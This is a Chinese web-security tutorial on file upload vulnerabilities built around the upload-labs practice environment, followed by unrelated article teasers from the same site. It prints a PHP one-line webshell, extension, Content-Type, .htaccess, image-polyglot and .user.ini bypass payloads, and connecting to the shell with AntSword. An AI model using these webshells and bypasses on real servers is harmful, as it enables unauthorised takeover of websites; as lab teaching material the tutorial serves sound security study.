WEB入门——文件上传漏洞
文件上传漏洞
- 一、文件上传漏洞
-
- 1.1常见的WebShell有哪些?
- 1.2 一句话木马演示
- 1.2 文件上传漏洞可以利用需满足三个条件
- 1.3 文件上传导致的危害
- 二、常用工具
-
- 2.1 搭建upload-labs环境
- 2.2 工具准备
- 三、文件上传绕过
-
- 3.1 客户端绕过
-
- 3.1.1 实战练习 :upload-labs/Pass-01/
- 3.2 服务器端文件类型检查
-
- 3.2.1 实战练习 :upload-labs/Pass-02/
- 3.3 文件后缀绕过
-
- 3.3.1 只限制了少量后缀情况
- 3.3.2 实战练习 :upload-labs/Pass-03/
- 3.3.3 大量的文件后缀被限制
- 3.3.4 实战练习 :upload-labs/Pass-04/
- 3.4 图片马绕过
-
- 3.4.1 实战练习 :upload-labs/Pass-14/
- 3.5 .user.ini 绕过
-
- 3.5.1 练习
- 3.5.2 当服务器对.user.ini内容检测时
一、文件上传漏洞
文件上传漏洞服务端代码未对客户端上传的文件进行严格的验证,导致漏洞。非法用户可以利用上传的恶意文件控制整个网站,这个恶意文件被称为 WebShell ,也可以称为一种网页后门。
1.1常见的WebShell有哪些?
- 拥有较完整功能的webshell,我们一般称为大马。
- 功能简易的webshell称为小马。
- 除此之外还存在一句话木马、菜刀马、脱库马等等的名词,是对于webShell功能或者特性的简称。
1.2 一句话木马演示
<?php eval(%_POST['data']);?> #一句话源代码
- 将上面代码保持为hello.php并将他放在下面目录中:

- 使用WebShell管理工具,创建连接并连接它:

- 连接成功后就可以查看服务器目录了。

1.2 文件上传漏洞可以利用需满足三个条件
- 文件可上传
- 上传文件可已被web容器解释执行
- .上传路径可知
1.3 文件上传导致的危害
1、上传的文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,脚本语言执行。
2、上传文件是Flash的策略文件crossdomain.xml,黑客用以
控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似)。 3、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
4、上传文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
5、上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块。
6、上传一个合法的文本文件,但是其内容是php脚本,通过文件包含使这个文本文件以脚本格式执行。可查看服务器目录,服务器中的文件,执行系统命令、代码等。
二、常用工具
2.1 搭建upload-labs环境
下载:https://github.com/c0ny1/upload-labs
2.2 工具准备
- 中国蚁剑(AntSword)
- 哥斯拉
三、文件上传绕过
3.1 客户端绕过
如果客户端JS脚本有加限制(例如上传图片,JS脚本显示了只能上传图片格式,不能上传.php后缀的文件)。
3.1.1 实战练习 :upload-labs/Pass-01/
-
上传文件源码:
<?php eval(%_POST['data']);?>
-
直接上传一个一句话木马文件,弹窗提示:该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.pHp
-
查看源码:知道只是在客户端用JS做了过滤限制。
<script type="text/javascript">function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name) == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}} </script> -
解决办法:
- 先将一句话木马文件hello.php修改后缀变成hello.png.。
- 使用BurpSuite工具拦截上传请求。
- 将请求里面的hello.png修改成hello.php,然后放行请求。

-
最后上传成功后回显,并可以查看到上传文件的地址。最后使用AntSword工具创建连接,就可以直接访问服务器。

3.2 服务器端文件类型检查
服务器在后台对上传文件的Content-Type进行了检查。发现如果不是运行上传范围内的content-Type类型就拒绝上传。
3.2.1 实战练习 :upload-labs/Pass-02/
- 绕过步骤:
- 上传hello.php,使用BurpSuite拦截请求。
- 将请求里面的Content-Type内容进行修改,如image/png、image/jpeg等等。 然后放行

3.3 文件后缀绕过
一些WAF对文件后缀进行了限制。
3.3.1 只限制了少量后缀情况
如果.php后缀被限制,可以尝试:.php3、php4、.PHp(修改大小写)、.phtml、.pht等后缀,WebShell的内容一样。
其中.phtml、.pht后缀的内容可以写成这样:
<script language="php"> eval($_POST['data']);</script>
3.3.2 实战练习 :upload-labs/Pass-03/
- 上传hello.php或hello.pHp提示是不允许上传的类型

- 修改后缀为**.php3**,则上传成功。最后可以使用Antsword这类工具进行连接,登录到服务器端。

- 题目的PHP代码如下:

3.3.3 大量的文件后缀被限制
-
除了限制 ‘.asp’,‘.aspx’,‘.php’,‘.jsp’ 以外 .php3、php4、.PHp(修改大小写)、.phtml、.pht等后缀 也都被限制列。
-
这个时候如果是apache服务器,可以尝试上传 .htaccess后缀文件。文件内容为:
<FilesMatch "png"> setHandler appliaction/x-httpd-php </FileMatch> -
该文件上传后,所在目录中名字包含png的文件将会被当做php代码解析。
3.3.4 实战练习 :upload-labs/Pass-04/
-
题目源码:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';} } -
通过源码可以知道后台过滤大量的后缀名。
- 将WebShell文件修改成后缀为 .png。
- 上传 .htaccess 文件。
-
上传WebShell文件成功后,将文件地址保存,方便后续AntSword连接。

-
上传 .htaccess 文件
-
使用AntSword通过WebShell路径连接。

3.4 图片马绕过
服务器在后台使用函数来判断上传的文件内容是否为图片。所以如果是WebShell文件仅仅是修改了后缀,可能会被pass掉。所以,我们上传的内容必须得有真实的图片内容。
-
题目源码:使用getimagesize函数对上传文件的内容进行判断。
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;} } -
解决办法:
-
将一张正常的图片与WebShell文件合并成一张图片。
-
使用CMD的copy /b命令进行合并。
D:文件上传>copy /b hi.png+hello.php hi_hello.png hi.png hello.pHp 已复制 1 个文件。
-

3.4.1 实战练习 :upload-labs/Pass-14/
- 上传WebShell文件,并把后缀改成 .png 但是内容还是一句话木马,上传失败。

- 上传刚刚合成的hi_hello.png。提示上传成功,并回显了图片。

- 这里上传了图片马,但是服务器过滤了.htaccess文件的上传,为了测试图片马的正常运行,留了文件包含漏洞。利用该漏洞可以查看到图片马正常运行。


3.5 .user.ini 绕过
自 PHP 5.3.0 起,PHP支持基于每个目录的INI文件配置( .user.ini )。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
-
用法:
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件,那么该文件就会被包含在要执行的php文件中(如index.php)。这两个设置的区别:- auto_prepend_file是在文件前插入。
- auto_append_file在文件最后插入。
-
语法:`
auto_append_file=hello.png or auto_prepend_file=hello.png
3.5.1 练习
因为upload-labs默认配置是apache+php 不是CGI/FastCGI方式,所以用phpstudy自己搭建一个简单练习环境。
-
在根目录下创建upload文件夹,并在文件夹中添加hello.php和.user.ini、hello.png(hello.png内容为一句话木马)。
-
hello.php 内容:
<?php echo "hello";?> -
user.ini 内容:
auto_append_file=hello.png -
使用AntSword工具连接测试成功,可以入侵服务器。

3.5.2 当服务器对.user.ini内容检测时
-
在 .user.ini 前面添加以下内容:
GIF89 auto_append_file=hello.png -
或者
#define width 100 #define heigh 100 auto_append_file=hello.png
continue…
相关文章:
WEB入门——文件上传漏洞
文件上传漏洞 一、文件上传漏洞 1.1常见的WebShell有哪些?1.2 一句话木马演示1.2 文件上传漏洞可以利用需满足三个条件1.3 文件上传导致的危害 二、常用工具 2.1 搭建upload-labs环境2.2 工具准备 三、文件上传绕过 3.1 客户端绕过 3.1.1 实战练习 :upl…...
公交车信息管理系统:构建智能城市交通的基石
程序设计 本系统主要使用Java语言编码设计功能,MySQL数据库管控数据信息,SSM框架创建系统架构,通过这些关键技术对系统进行详细设计,设计和实现系统相关的功能模块。最后对系统进行测试,这一环节的结果,基本…...
jdk各个版本介绍
JDK(Java Development Kit)是Java开发者用于构建、测试和部署Java应用程序的工具包。随着Java语言的不断演进,JDK也经历了多个版本的更新。下面是对JDK各个主要版本的简要介绍: JDK 1.0 - 1.4(经典时代) •…...
分布式事务解决方案seata和MQ
seata之XA模式 特点:强一致性、会锁定资源。 seata之AT模式 seata之TCC模式 特点:对代码有侵入 MQ解决分布式事务 特点:效率高、实时性差 分布式事务的消息幂等 1、tokenredis保证幂等 2、分布式锁 分布式任务调度...
相机主要调试参数
解析度测试 - 解释如何衡量摄像头捕捉细节的能力,确保图像清晰。锐度评估 - 教你如何判断图像边缘的清晰程度,以优化视觉效果。色散与色彩还原 - 分析色彩准确性,确保所见即所得的色彩一致性。白平衡校正 - 确保在各种光源下拍摄的照片颜色自…...
【C++11】可变模板参数
目录 可变模板的定义方式 参数包的展开方式 递归的方式展开参数包 STL中的emplace相关接口函数 STL容器中emplace相关插入接口函数 编辑 模拟实现:emplace接口 C11的新特性可变参数模板能够让您创建可以接受可变参数的函数模板和类模板,相比 C9…...
AAAI-2024 | 大语言模型赋能导航决策!NavGPT:基于大模型显式推理的视觉语言导航
作者:Gengze Zhou, Yicong Hong, Qi Wu 单位:阿德莱德大学,澳大利亚国立大学 论文链接: NavGPT: Explicit Reasoning in Vision-and-Language Navigation with Large Language Models (https://ojs.aaai.org/index.p…...
@HeadFontStyle注解属性介绍
HeadFontStyle 是一个自定义的 Java 注解,它用于指定 Excel 单元格字体的样式属性。这个注解可以应用于方法中,用来动态地设置 Excel 文件中单元格的字体样式。下面是 HeadFontStyle 注解中各个属性的详细介绍: 1. fontName (String) 类型:…...
Exchange ProxyLogon 攻击链利用详解
目录 ProxyLogon 攻击链 影响版本 CVE-2021-26855 SSRF 复现 验证是否存在漏洞 详细漏洞利用 CVE-2021–27065 任意文件写入复现 ProxyLogon 一键利用 CVE-2021-26855 与 CVE-2021-27065 是微软在2021年3月2日发布的高危漏洞公告。这套组合拳被称为ProxyLogon,可直接获…...
C++小碗菜之五:关键字static
“一个人的命运啊,当然要靠自我奋斗,但也要考虑到历史的行程。” ——2009年4月23日在视察中国联合工程公司时的讲话 目录 编辑 前言 static在局部作用域中的作用 给出例子: 修改上面给出的例子: 为什么不使用全局变量…...
deepstream笔记
创建pipeline pipeline gst_pipeline_new("audio-player");创建filesrc类型元素并命名为file-source; GstElement *source gst_element_factory_make("filesrc", "file-source");通过元素名file-source获取元素对应的指针&#x…...
Pinpoint 是一个开源的分布式追踪系统
pinpointagent2.2.2.tar 是 Pinpoint 的一个版本,Pinpoint 是一个开源的分布式追踪系统,专门用于对 Java 应用程序进行性能监控、日志记录和故障诊断。它可以帮助开发人员和运维人员追踪和分析微服务架构中服务之间的调用链,并进行性能分析。…...
H3C交换机远程登录基本配置
设备信息 H3C Comware Software, Version 7.1.070, Release 6312P02 Copyright (c) 2004-2021 New H3C Technologies Co., Ltd. All rights reserved. H3C S6520X-54QC-EI Telnet登录设备基本配置 1、开启telnet服务 system-view telnet server enable 2、telnet登录设备终…...
python关闭线程池来关闭线程
在 Python 中,使用线程池(如 concurrent.futures.ThreadPoolExecutor 或 multiprocessing.pool.ThreadPool)来管理和执行多个线程是一种常见的并发编程方式。关于关闭线程池以及关闭后线程的状态,以下是详细的解释和指导。 使用 …...
生成式AI:药学科普的新引擎
在信息爆炸的时代,药学知识的普及显得尤为重要。而今,生成式人工智能(Generative AI)正以其强大的内容生成和数据分析能力,悄然改变着传统的药学科普模式。它不仅能加速信息的传递,更能为患者提供个性化、易…...
洛谷 p3392 涂条纹
题目: 思路: 简单的模拟题,模拟题好麻烦,但是思路走好就可以。首先我们可以求出每一行,红,蓝,白的个数。涂蓝色和白色为了涂色更少,所以涂蓝色要选择第i行蓝色个数最多的࿰…...
64.基于SpringBoot + Vue实现的前后端分离-新闻资讯系统(项目 + 论文)
项目介绍 传统信息的管理大部分依赖于管理人员的手工登记与管理,然而,随着近些年信息技术的迅猛发展,让许多比较老套的信息管理模式进行了更新迭代,文章信息因为其管理内容繁杂,管理数量繁多导致手工进行处理不能满足广…...
Y3编辑器教程8:资源管理器与存档、防作弊设置
文章目录 一、资源管理器简介1.1 界面介绍1.2 资源商店1.3 AI专区1.3.1 AI文生图1.3.2 AI图生图1.3.3 立绘头像 二、导入导出2.1 文件格式2.2 模型导入2.2.1 模型制作后导出2.2.2 模型文件导入Y3编辑器2.2.3 Y3编辑器角色、装饰物模型要求 2.3 纹理导入2.4 材质贴图2.4.1 材质支…...
智慧社区电子商务系统:实现社区资源的数字化管理
2.1vue技术 Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式JavaScript框架。 [5] 与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项…...
精准提升:从94.5%到99.4%——目标检测调优全纪录
🚀 目标检测模型调优过程记录 在进行目标检测模型的训练过程中,我们面对了许多挑战与迭代。从初始模型的训练结果到最终的调优优化,每一步的实验和调整都有其独特的思路和收获。本文记录了我在优化目标检测模型的过程中进行的几次尝试&#…...
从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路
进入2025年以来,尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断,但全球市场热度依然高涨,入局者持续增加。 以国内市场为例,天眼查专业版数据显示,截至5月底,我国现存在业、存续状态的机器人相关企…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
【C语言练习】080. 使用C语言实现简单的数据库操作
080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...
学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
华硕a豆14 Air香氛版,美学与科技的馨香融合
在快节奏的现代生活中,我们渴望一个能激发创想、愉悦感官的工作与生活伙伴,它不仅是冰冷的科技工具,更能触动我们内心深处的细腻情感。正是在这样的期许下,华硕a豆14 Air香氛版翩然而至,它以一种前所未有的方式&#x…...
vue3 daterange正则踩坑
<el-form-item label"空置时间" prop"vacantTime"> <el-date-picker v-model"form.vacantTime" type"daterange" start-placeholder"开始日期" end-placeholder"结束日期" clearable :editable"fal…...
Tauri2学习笔记
教程地址:https://www.bilibili.com/video/BV1Ca411N7mF?spm_id_from333.788.player.switch&vd_source707ec8983cc32e6e065d5496a7f79ee6 官方指引:https://tauri.app/zh-cn/start/ 目前Tauri2的教程视频不多,我按照Tauri1的教程来学习&…...
Linux操作系统共享Windows操作系统的文件
目录 一、共享文件 二、挂载 一、共享文件 点击虚拟机选项-设置 点击选项,设置文件夹共享为总是启用,点击添加,可添加需要共享的文件夹 查询是否共享成功 ls /mnt/hgfs 如果显示Download(这是我共享的文件夹)&…...
李沐--动手学深度学习--GRU
1.GRU从零开始实现 #9.1.2GRU从零开始实现 import torch from torch import nn from d2l import torch as d2l#首先读取 8.5节中使用的时间机器数据集 batch_size,num_steps 32,35 train_iter,vocab d2l.load_data_time_machine(batch_size,num_steps) #初始化模型参数 def …...
C++中vector类型的介绍和使用
文章目录 一、vector 类型的简介1.1 基本介绍1.2 常见用法示例1.3 常见成员函数简表 二、vector 数据的插入2.1 push_back() —— 在尾部插入一个元素2.2 emplace_back() —— 在尾部“就地”构造对象2.3 insert() —— 在任意位置插入一个或多个元素2.4 emplace() —— 在任意…...
